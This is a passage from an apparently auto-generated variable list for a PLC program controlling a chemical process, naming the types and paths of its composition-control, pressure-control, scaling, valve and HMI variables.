+87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; 